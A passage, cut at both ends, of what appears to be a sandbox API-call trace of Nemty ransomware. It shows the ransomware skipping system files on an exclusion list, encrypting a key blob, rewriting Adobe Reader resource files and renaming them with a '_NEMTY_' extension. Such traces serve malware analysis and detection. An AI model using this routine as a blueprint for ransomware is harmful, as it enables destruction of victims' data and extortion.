RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US.txt", lpUsedDefaultChar=0x0) returned 30 [0215.222] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0215.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.222] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.222] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US.txt", lpUsedDefaultChar=0x0) returned 30 [0215.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0215.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US.txt", lpUsedDefaultChar=0x0) returned 30 [0215.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0215.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.223] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US.txt", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US.txt", lpUsedDefaultChar=0x0) returned 30 [0215.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340048 [0215.223] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.223] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340130 [0215.223] Sleep (dwMilliseconds=0x5) [0215.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ecde30, dwHighDateTime=0x1d561e8)) [0215.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ecde30, dwHighDateTime=0x1d561e8)) [0215.231] GetLastError () returned 0x0 [0215.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.231] GetLastError () returned 0x0 [0215.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.231] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.231] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.231] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.231] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.231] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0215.232] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e5dc | out: pszString="wxXFzgSWrcfjZ64jikdasT+f8ox+Z7W6LcHgqxF8SFaTS8lN/WNP4BntS9yw0Ekk\r\nHRXEZnaRTFL03n8EgUnTV8zAvxT6CI15tTPHl8GJtgerz1ER1GQtUIAbN9YUBGjD\r\nta7Pho35FrGTPkP3igADmP+BM7hl4Oq9qW15N5RoGcywukdx4+FZXiHGJV790YgU\r\nNZCtReTx0OUtwEed0WLWBCGe87ClGlYLpZobTlH8ql/f4B7hLiVdGbduMc8BDNCU\r\nl3WRg7tWJ/HuYPp1PS+uK5ZXPNl5WLKSrdbbBQUywzFOuNuAyjB27QO2MDh6JYMi\r\nvFBZLFjptoH/f9o1jF6IOw==\r\n", pcchString=0x653e5dc) returned 1 [0215.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0215.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.232] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0215.232] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.232] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.233] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28296) returned 1 [0215.233] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e80) returned 0x6352c48 [0215.233] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.233] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e80, lpOverlapped=0x0) returned 1 [0215.236] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.236] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e80, lpOverlapped=0x0) returned 1 [0215.236] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.236] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e88 [0215.236] WriteFile (in: hFile=0x2e8, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.236] CloseHandle (hObject=0x2e8) returned 1 [0215.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340218 [0215.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0215.237] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0215.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0215.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340300 [0215.237] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14e) returned 0x63403e8 [0215.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340300 | out: hHeap=0x4f90000) returned 1 [0215.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0215.237] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt._nemty_kgobjgd_")) returned 1 [0215.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e8 | out: hHeap=0x4f90000) returned 1 [0215.237] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340218 | out: hHeap=0x4f90000) returned 1 [0215.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0215.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0215.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0215.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0215.238] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddaf0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e88, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="DisplayLanguageNames.en_US_POSIX.txt", cAlternateFileName="DIA6FD~1.TXT")) returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2=".") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="..") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="...") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="windows") returned -1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="$RECYCLE.BIN") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="rsa") returned -1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="NTDETECT.COM") returned -1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="ntldr") returned -1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="MSDOS.SYS") returned -1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="IO.SYS") returned -1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="boot.ini") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="boot.ini") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="AUTOEXEC.BAT") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="ntuser.dat") returned -1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="desktop.ini") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="CONFIG.SYS") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="RECYCLER") returned -1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="BOOTSECT.BAK") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="bootmgr") returned 1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="programdata") returned -1 [0215.238] lstrcmpiW (lpString1="DisplayLanguageNames.en_US_POSIX.txt", lpString2="appdata") returned 1 [0215.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0215.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0215.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.238] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US_POSIX.txt", lpUsedDefaultChar=0x0) returned 36 [0215.238] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.238] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340188 [0215.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0215.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US_POSIX.txt", lpUsedDefaultChar=0x0) returned 36 [0215.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0215.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0215.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0215.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0215.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0215.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US_POSIX.txt", lpUsedDefaultChar=0x0) returned 36 [0215.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x6340130 [0215.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0215.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0215.239] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.en_US_POSIX.txt", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.en_US_POSIX.txt", lpUsedDefaultChar=0x0) returned 36 [0215.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340130 | out: hHeap=0x4f90000) returned 1 [0215.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340130 [0215.239] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0215.239] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340228 [0215.239] Sleep (dwMilliseconds=0x5) [0215.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ef3f90, dwHighDateTime=0x1d561e8)) [0215.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x33ef3f90, dwHighDateTime=0x1d561e8)) [0215.247] GetLastError () returned 0x0 [0215.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0215.247] GetLastError () returned 0x0 [0215.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0215.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0215.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.247] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0215.247] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0215.247] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0215.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0215.247] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e5dc | out: pszString="oRclVX4SbDSBaNZdeXMF+z5W16QKu3ICGnIVO3C6/hQG/m0zv89qCfZIM04oRqPe\r\nKlOVIf1aYQ2BYWcTmNdpScry4OLa4qlUog1HrvAISNlKigsRQhX1IaWbEtJkmNTL\r\nW+ykxip//4cKb/HkVJD3jaYX5+BPkNFDIDCbMGPAD92DptGexJ35sUC1ON7GjRdG\r\n4b051WhdBbJrH7q287MfhJok3L1xHXDyEPCbwa+41bqUzjJj3sxh7YBPpIQUgh62\r\n3tXxOhBk1K+vc764rESUyy+fv0drFB/kqZQs4t4HPjDQonj/r4J1He0n3oORaK7r\r\n7bjnUw7FeSXxh7LcDSbPFQ==\r\n", pcchString=0x653e5dc) returned 1 [0215.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0215.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0215.247] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0215.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0215.247] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0215.247] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0215.248] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=28296) returned 1 [0215.248] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6e80) returned 0x6352c48 [0215.248] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.248] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6e80, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6e80, lpOverlapped=0x0) returned 1 [0215.252] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0215.252] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x6e80, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x6e80, lpOverlapped=0x0) returned 1 [0215.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0215.253] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=28296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e88 [0215.253] WriteFile (in: hFile=0x2e8, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0215.253] CloseHandle (hObject=0x2e8) returned 1 [0215.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340320 [0215.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0215.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0215.253] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0215.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0215.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0215.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xf0) returned 0x6340418 [0215.253] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x166) returned 0x63491c8 [0215.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340418 | out: hHeap=0x4f90000) returned 1 [0215.253] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0215.253] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt._NEMTY_kGOBjgD_" (normalized: "c:\\program files 